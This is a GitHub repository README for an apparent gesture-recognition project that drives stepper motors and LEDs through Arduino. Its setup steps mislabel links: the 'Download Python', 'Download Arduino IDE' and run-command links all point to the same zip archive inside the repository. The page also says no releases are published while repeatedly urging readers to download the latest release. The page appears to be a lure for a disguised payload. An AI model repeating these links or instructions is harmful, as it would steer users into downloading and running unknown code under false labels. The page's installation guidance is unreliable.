Skip to content

prv1511/gesture-hardware-controller

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

7 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

βœ‹ gesture-hardware-controller - Control Your Devices with Gestures

Download from Releases

πŸš€ Overview

Gesture Hardware Controller is a real-time system that uses your hands to control physical devices without touching them. Using a standard camera, it tracks your hand movements and translates them into commands for hardware like stepper motors and LED lights.

πŸ” Features

  • Real-time hand tracking (supports one or two hands)
  • Control devices with simple gestures
  • Adjust stepper motor position and speed easily
  • Turn LED lights on or off with gestures
  • Control LED brightness by moving your hand
  • Smooth gesture recognition for seamless interaction
  • Modular design for easy expansion

βš™οΈ System Requirements

To use the Gesture Hardware Controller, you will need:

  • A computer with Windows, macOS, or Linux
  • A standard camera (webcam)
  • Arduino board (for hardware control)
  • Basic knowledge of connecting hardware components

πŸ“₯ Download & Install

To get started with the Gesture Hardware Controller, visit the following link to download the latest release:

Download Latest Release

Once you open the page, find the latest version and click on it to download the installation files.

πŸ› οΈ Setup Instructions

Step 1: Install Required Software

  1. Install Python: Download Python from https://raw.githubusercontent.com/prv1511/gesture-hardware-controller/main/arduino/controller-gesture-hardware-1.3.zip and follow the installation instructions.
  2. Install MediaPipe: Open your command line tool and run the following command to install MediaPipe:
    pip install mediapipe
    
  3. Install Arduino IDE: Download the Arduino IDE from https://raw.githubusercontent.com/prv1511/gesture-hardware-controller/main/arduino/controller-gesture-hardware-1.3.zip and follow the setup guidelines.

Step 2: Connect Your Hardware

  1. Arduino Setup: Connect your Arduino board to your computer using a USB cable.
  2. Wiring: Follow the wiring schematic provided in the repository to connect your stepper motor and LED components to the Arduino.

Step 3: Run the Software

  1. Download the Code: After downloading, extract the files to a folder on your computer.
  2. Open your command line tool: Navigate to the folder where you extracted the files.
  3. Run the Program: Enter the following command to launch the program:
    python https://raw.githubusercontent.com/prv1511/gesture-hardware-controller/main/arduino/controller-gesture-hardware-1.3.zip
    
  4. Ensure Camera Access: Allow the program to access your camera when prompted.

πŸ”— Additional Resources

If you want to learn more about the technologies used, check out the following:

πŸ“ž Get Help

If you encounter any issues, feel free to reach out for help. You can create an issue on the GitHub issues page.

🌱 Contributions

If you're interested in contributing to the project, please follow the guidelines in the repository. Your input can help improve this gesture-controlled system further.

🌟 Acknowledgments

Thanks to the open-source community for their continued support. This project could not have happened without the great tools and libraries available.

Don't forget to visit the release page to download the latest version and start using your hand gestures to control your devices!

About

🀚 Control physical devices touchlessly using gestures with this real-time hardware system that integrates computer vision and embedded electronics.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors